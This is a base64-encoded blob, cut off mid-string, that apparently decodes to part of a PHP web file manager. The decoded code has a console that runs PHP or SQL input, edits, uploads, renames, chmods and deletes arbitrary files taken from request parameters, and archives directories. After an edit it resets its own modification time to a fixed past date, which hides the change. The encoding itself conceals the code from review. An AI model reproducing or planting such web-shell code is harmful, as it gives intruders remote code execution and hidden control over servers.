PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocAoJaWYoJHJlc19sbmc9PSdzcWwnKSBlY2hvICcgLSBEYXRhYmFzZTogJy4kZm1fY29uZmlnWydzcWxfZGInXS4nPC9oMj48L3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgncGhwJyk7CgoJZWxzZSBlY2hvICc8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdzcWwnKTsKCgk/PjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+CjwvdHI+Cjx0cj4KICAgICAgICAgIDx0ZCBjbGFzcz0icm93MSI+CgkJPGEgaHJlZj0iPD89JHVybF9pbmMuJyZwYXRoPScgLiAkcGF0aDs/PiI+PD89X18oJ0JhY2snKT8+PC9hPgoJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiIG5hbWU9ImNvbnNvbGUiPgoJCTx0ZXh0YXJlYSBuYW1lPSI8Pz0kcmVzX2xuZz8+IiBjb2xzPSI4MCIgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDogOTAlIj48Pz0kcmVzPz48L3RleHRhcmVhPjxici8+CgkJPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iPD89X18oJ1Jlc2V0Jyk/PiI+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+IiBuYW1lPSI8Pz0kcmVzX2xuZz8+cnVuIj4KPD9waHAKJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnOwoKJHRtcGwgPSAhZW1wdHkoJCRzdHJfdG1wbCkgPyBqc29uX2RlY29kZSgkJHN0cl90bXBsLHRydWUpIDogJyc7CgppZiAoIWVtcHR5KCR0bXBsKSl7CgkkYWN0aXZlID0gaXNzZXQoJF9QT1NUWyRyZXNfbG5nLidfdHBsJ10pID8gJF9QT1NUWyRyZXNfbG5nLidfdHBsJ10gOiAnJzsKCgkkc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT0iJy4kcmVzX2xuZy4nX3RwbCIgdGl0bGU9IicuX18oJ1RlbXBsYXRlJykuJyIgb25jaGFuZ2U9ImlmICh0aGlzLnZhbHVlIT0tMSkgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID0gdGhpcy5vcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlOyBlbHNlIGRvY3VtZW50LmZvcm1zW1wnY29uc29sZVwnXS5lbGVtZW50c1tcJycuJHJlc19sbmcuJ1wnXS52YWx1ZSA9XCdcJzsiID4nLiJcbiI7CgoJJHNlbGVjdCAuPSAnPG9wdGlvbiB2YWx1ZT0iLTEiPicgLiBfXygnU2VsZWN0JykgLiAiPC9vcHRpb24+XG4iOwoKCWZvcmVhY2ggKCR0bXBsIGFzICRrZXk9PiR2YWx1ZSl7CgkJJHNlbGVjdC49JzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCghZW1wdHkoJHZhbHVlKSYmKCR2YWx1ZT09JGFjdGl2ZSkpPydzZWxlY3RlZCc6JycpLicgPicuX18oJGtleSkuIjwvb3B0aW9uPlxuIjsKCgl9Cgkkc2VsZWN0IC49ICI8L3NlbGVjdD5cbiI7CgoJZWNobyAkc2VsZWN0OwoKfQo/PgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+CjwvdGFibGU+Cjw/cGhwCglpZiAoIWVtcHR5KCRyZXMpKSB7CgkJJGZ1bj0nZm1fJy4kcmVzX2xuZzsKCgkJZWNobyAnPGgzPicuc3RydG91cHBlcigkcmVzX2xuZykuJyAnLl9fKCdSZXN1bHQnKS4nPC9oMz48cHJlPicuJGZ1bigkcmVzKS4nPC9wcmU+JzsKCgl9Cn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydlZGl0J10pKXsKCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsKCQkkZm4gPSAkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddOwoKCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKCRmbik7CgoJICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZm4sICRfUkVRVUVTVFsnbmV3Y29udGVudCddKSkgJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7CgoJCWVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCgkJaWYgKCRfR0VUWydlZGl0J109PWJhc2VuYW1lKF9fRklMRV9fKSkgewoJCQl0b3VjaChfX0ZJTEVfXywxNDE1MTE2MzcxKTsKCgkJfSBlbHNlIHsKCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydyZXN0b3JlX3RpbWUnXSkpIHRvdWNoKCRmbiwkZmlsZW10aW1lKTsKCgkJfQoJfQogICAgICAgICAgJG9sZGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXSk7CgogICAgICAgICAgJGVkaXRsaW5rID0gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRfUkVRVUVTVFsnZWRpdCddIC4gJyZwYXRoPScgLiAkcGF0aDsKCiAgICAgICAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7Cgo/Pgo8dGFibGUgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzEnIHdpZHRoPSIxMDAlIj4KPHRyPgogICAgICAgICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48L3RoPgo8L3RyPgo8dHI+CiAgICAgICAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgICAgICAgIDw/PSRtc2c/PgoJPC90ZD4KPC90cj4KPHRyPgogICAgICAgICAgPHRkIGNsYXNzPSJyb3cxIj4KICAgICAgICAgICAgICA8Pz1mbV9ob21lKCk/PiA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPgoJPC90ZD4KPC90cj4KPHRyPgogICAgICAgICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRlZGl0bGluaz8+Ij4KICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im5ld2NvbnRlbnQiIGlkPSJuZXdjb250ZW50IiBjb2xzPSI0NSIgcm93cz0iMTUiIHN0eWxlPSJ3aWR0aDo5OSUiIHNwZWxsY2hlY2s9ImZhbHNlIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FuY2VsIiB2YWx1ZT0iPD89X18oJ0NhbmNlbCcpPz4iPgogICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+Cjw/cGhwCmVjaG8gJGF1dGhbJ3NjcmlwdCddOwoKfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsncmlnaHRzJ10pKXsKCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsKCSAgICAgICAgICBpZihmbV9jaG1vZCgkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIGZtX2NvbnZlcnRfcmlnaHRzKCRfUkVRVUVTVFsncmlnaHRzX3ZhbCddKSwgQCRfUkVRVUVTVFsncmVjdXJzaXZlbHknXSkpCgkJJG1zZyAuPSAoX18oJ0ZpbGUgdXBkYXRlZCcpKTsgCgkJZWxzZSAkbXNnIC49IChfXygnRXJyb3Igb2NjdXJyZWQnKSk7CgoJfQoJY2xlYXJzdGF0Y2FjaGUoKTsKCiAgICAgICAgICAkb2xkcmlnaHRzID0gZm1fcmlnaHRzX3N0cmluZygkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIHRydWUpOwoKICAgICAgICAgICRsaW5rID0gJHVybF9pbmMgLiAnJnJpZ2h0cz0nIC4gJF9SRVFVRVNUWydyaWdodHMnXSAuICcmcGF0aD0nIC4gJHBhdGg7CgogICAgICAgICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOwoKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgICAgICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgICAgICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICAgICAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICAgICAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+CiAgICAgICAgICAgICAgICAgPD89X18oJ1JpZ2h0cycpLicgLSAnLiRfUkVRVUVTVFsncmlnaHRzJ10/PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmlnaHRzX3ZhbCIgdmFsdWU9Ijw/PSRvbGRyaWdodHM/PiI+CiAgICAgICAgICAgICAgPD9waHAgaWYgKGlzX2RpcigkcGF0aC4kX1JFUVVFU1RbJ3JpZ2h0cyddKSkgeyA/PgogICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZWx5IiB2YWx1ZT0iMSI+IDw/PV9fKCdSZWN1cnNpdmVseScpPz48YnIvPgogICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsncmVuYW1lJ10pJiYkX1JFUVVFU1RbJ3JlbmFtZSddPD4nLicpIHsKCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsKCSAgICAgICAgICByZW5hbWUoJHBhdGggLiAkX1JFUVVFU1RbJ3JlbmFtZSddLCAkcGF0aCAuICRfUkVRVUVTVFsnbmV3bmFtZSddKTsKCgkJJG1zZyAuPSAoX18oJ0ZpbGUgdXBkYXRlZCcpKTsKCgkJJF9SRVFVRVNUWydyZW5hbWUnXSA9ICRfUkVRVUVTVFsnbmV3bmFtZSddOwoKCX0KCWNsZWFyc3RhdGNhY2hlKCk7CgogICAgICAgICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkX1JFUVVFU1RbJ3JlbmFtZSddIC4gJyZwYXRoPScgLiAkcGF0aDsKCiAgICAgICAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7CgoKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgICAgICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgICAgICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICAgICAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICAgICAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+CiAgICAgICAgICAgICAgICAgIDw/PV9fKCdSZW5hbWUnKT8+OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3bmFtZSIgdmFsdWU9Ijw/PSRfUkVRVUVTVFsncmVuYW1lJ10/PiI+PGJyLz4KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAp9IGVsc2UgewoKCi8vTGV0J3Mgcm9jayEKICAgICAgICAgICRtc2cgPSAnJzsKCiAgICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1sndXBsb2FkX2ZpbGUnXSkpIHsKICAgICAgICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpewogICAgICAgICAgICAgICAgICAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSk7CgogICAgICAgICAgICAgICAgICBpZighbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZCddWyd0bXBfbmFtZSddLCAkcGF0aCAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXsKICAgICAgICAgICAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CgogICAgICAgICAgICAgICAgICB9IGVsc2UgewoJCQkJICAgICAgJG1zZyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107CgoJCQl9CiAgICAgICAgICAgICAgfQogICAgICAgICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlJ10pJiYkX1JFUVVFU1RbJ2RlbGV0ZSddPD4nLicpIHsKICAgICAgICAgICAgICBpZighZm1fZGVsX2ZpbGVzKCgkcGF0aCAuICRfUkVRVUVTVFsnZGVsZXRlJ10pLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoKICAgICAgICAgICAgICB9IGVsc2UgewoJCQkkbXNnIC49IF9fKCdEZWxldGVkJykuJyAnLiRfUkVRVUVTVFsnZGVsZXRlJ107CgoJCX0KCX0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHsKICAgICAgICAgICAgICBpZighQG1rZGlyKCRwYXRoIC4gJF9SRVFVRVNUWydkaXJuYW1lJ10sMDc3NykpIHsKICAgICAgICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCiAgICAgICAgICAgICAgfSBlbHNlIHsKCQkJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2Rpcm5hbWUnXTsKCgkJfQogICAgICAgICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKSkgewoJCWluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsICcwJyk7CgoJCSRzZWFyY2hfZGF0YSA9ICBmaW5kX3RleHRfaW5fZmlsZXMoJF9QT1NUWydwYXRoJ10sICRfUE9TVFsnbWFzayddLCAkX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXSk7CgoJCWlmKCFlbXB0eSgkc2VhcmNoX2RhdGEpKSB7CgkJCSRtc2cgLj0gX18oJ0ZvdW5kIGluIGZpbGVzJykuJyAoJy5jb3VudCgkc2VhcmNoX2RhdGEpLicpOjxicj4nOwoKCQkJZm9yZWFjaCAoJHNlYXJjaF9kYXRhIGFzICRmaWxlbmFtZSkgewoJCQkJICAgICAgJG1zZyAuPSAnPGEgaHJlZj0iJy5mbV91cmwodHJ1ZSkuJz9mbT10cnVlJmVkaXQ9Jy5iYXNlbmFtZSgkZmlsZW5hbWUpLicmcGF0aD0nLnN0cl9yZXBsYWNlKCcvJy5iYXNlbmFtZSgkZmlsZW5hbWUpLCcvJywkZmlsZW5hbWUpLiciIHRpdGxlPSInIC4gX18oJ0VkaXQnKSAuICciPicuYmFzZW5hbWUoJGZpbGVuYW1lKS4nPC9hPiZuYnNwOyAmbmJzcDsnOwoKCQkJfQoJCX0gZWxzZSB7CgkJCSRtc2cgLj0gX18oJ05vdGhpbmcgZm91bmRlZCcpOwoKCQl9CQoJfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnbWtmaWxlJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHsKICAgICAgICAgICAgICBpZighJGZwPUBmb3BlbigkcGF0aCAuICRfUkVRVUVTVFsnZmlsZW5hbWUnXSwidyIpKSB7CiAgICAgICAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CgogICAgICAgICAgICAgIH0gZWxzZSB7CgkJCWZjbG9zZSgkZnApOwoKCQkJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2ZpbGVuYW1lJ107CgoJCX0KICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnemlwJ10pKSB7CgkJJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3ppcCddKTsKCgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy56aXAnOwoKCQlzZXRfdGltZV9saW1pdCgwKTsKCgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsKCgkJJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsKCgkJaWYgKGlzX2ZpbGUoJGRlc3RpbmF0aW9uKSkKCQkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuCgkJJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pCgkJLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4gJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKSAuICc8L2E+JzsKCgkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVzJyk7CgoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydneiddKSkgewoJCSRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTsKCgkJJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsKCgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy50YXInOwoKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7CgoJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsKCgkJY2xlYXJzdGF0Y2FjaGUoKTsKCgkJc2V0X3RpbWVfbGltaXQoMCk7CgoKCgkJLy9kaWUoKTsKCgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsKCgkJJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsKCgkJJHBoYXItPmNvbXByZXNzKFBoYXI6OkdaLCcudGFyLmd6Jyk7CgoJCXVuc2V0KCRwaGFyKTsKCgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB7CgkJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgewoJCQkJICAgICAgdW5saW5rKCRhcmNoaXZlKTsgCgkJCQkgICAgICAkZGVzdGluYXRpb24gLj0gJy5neic7CgoJCQl9CgoJCQkgICAgICAkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuCgkJCScuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQoJCQkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOwoKCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpOwoKCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZGVjb21wcmVzcyddKSkgewoKCgkJLy8gJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2RlY29tcHJlc3MnXSk7CgoKCgkJLy8gJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSk7CgoKCgkJLy8gJGV4dCA9IGVuZChleHBsb2RlKCIuIiwgJGRlc3RpbmF0aW9uKSk7CgoKCgkJLy8gaWYgKCRleHQ9PSd6aXAnIE9SICRleHQ9PSdneicpIHsKCgoJCQkgICAgICAvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkc291cmNlKTsKCgoKCQkJICAgICAgLy8gJHBoYXItPmRlY29tcHJlc3MoKTsKCgoKCQkJICAgICAgLy8gJGJhc2VfZmlsZSA9IHN0cl9yZXBsYWNlKCcuJy4kZXh0LCcnLCRkZXN0aW5hdGlvbik7CgoKCgkJCSAgICAgIC8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRiYXNlX2ZpbGUpKTsKCgoKCQkJICAgICAgLy8gaWYgKCRleHQ9PSd0YXInKXsKCgoJCQkgICAgICAJLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJGJhc2VfZmlsZSk7CgoKCgkJCSAgICAgIAkvLyAkcGhhci0+ZXh0cmFjdFRvKGRpcigkc291cmNlKSk7CgoKCgkJCSAgICAgIC8vIH0KCgoJCS8vIH0gCgoKCQkvLyAkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnRGVjb21wcmVzcycpLicgJy4kc291cmNlLiciICcuX18oJ2RvbmUnKTsKCgl9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2d6ZmlsZSddKSkgewoJCSRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydnemZpbGUnXSk7CgoJCSRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7CgoJCSRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJzsKCgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpOwoKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7CgoJCXNldF90aW1lX2xpbWl0KDApOwoKCgoJCS8vZWNobyAkZGVzdGluYXRpb247CgoJCSRleHRfYXJyID0gZXhwbG9kZSgnLicsYmFzZW5hbWUoJHNvdXJjZSkpOwoKCQlpZiAoaXNzZXQoJGV4dF9hcnJbMV0pKSB7CgkJCXVuc2V0KCRleHRfYXJyWzBdKTsKCgkJCSRleHQ9aW1wbG9kZSgnLicsJGV4dF9hcnIpOwoKCQl9IAoJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7CgoJCSRwaGFyLT5hZGRGaWxlKCRzb3VyY2UpOwoKCQkkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJGV4dC4nLnRhci5neicpOwoKCQl1bnNldCgkcGhhcik7CgoJCWlmIChpc19maWxlKCRhcmNoaXZlKSkgewoJCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsKCQkJCSAgICAgIHVubGluaygkYXJjaGl2ZSk7IAoJCQkJICAgICAgJGRlc3RpbmF0aW9uIC49ICcuZ3onOwoKCQkJfQoJCQkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuCgkJCScuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQoJCQkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOwoKCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpOwoKCX0KPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSIgaWQ9ImhlYWRlcl90YWJsZSIgPgo8dHI+CiAgICAgICAgICA8dGggY29sc3Bhbj0iMiI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjwvdGg+CjwvdHI+Cjw/cGhwIGlmKCFlbXB0eSgkbXNnKSl7ID8+Cjx0cj4KCTx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MiI+PD89JG1zZz8+PC90ZD4KPC90cj4KPD9waHAgfSA/Pgo8dHI+CiAgICAgICAgICA8dGQgY2xhc3M9InJvdzIiPgoJCTx0YWJsZT4KCQkJPHRyPgoJCQk8dGQ+CgkJCQkgICAgICA8Pz1mbV9ob21lKCk/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWydtYWtlX2RpcmVjdG9yeSddKSkgeyA/PgoJCQkJICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPgoJCQkJICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+CgkJCQkgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlybmFtZSIgc2l6ZT0iMTUiPgoJCQkJICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtkaXIiIHZhbHVlPSI8Pz1fXygnTWFrZSBkaXJlY3RvcnknKT8+Ij4KCQkJCSAgICAgIDwvZm9ybT4KCQkJPD9waHAgfSA/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA/PgoJCQkJICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPgoJCQkJICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgICAgIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQkJICAgICAgPGlucHV0IHR5cGU9InRleHQiICAgbmFtZT0iZmlsZW5hbWUiIHNpemU9IjE1Ij4KCQkJCSAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im1rZmlsZSIgICB2YWx1ZT0iPD89X18oJ05ldyBmaWxlJyk/PiI+CgkJCQkgICAgICA8L2Zvcm0+CgkJCTw/cGhwIH0gPz4KCQkJPC90ZD4KCQkJPHRkPgoJCQkJICAgICAgPGZvcm0gIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+IiBzdHlsZT0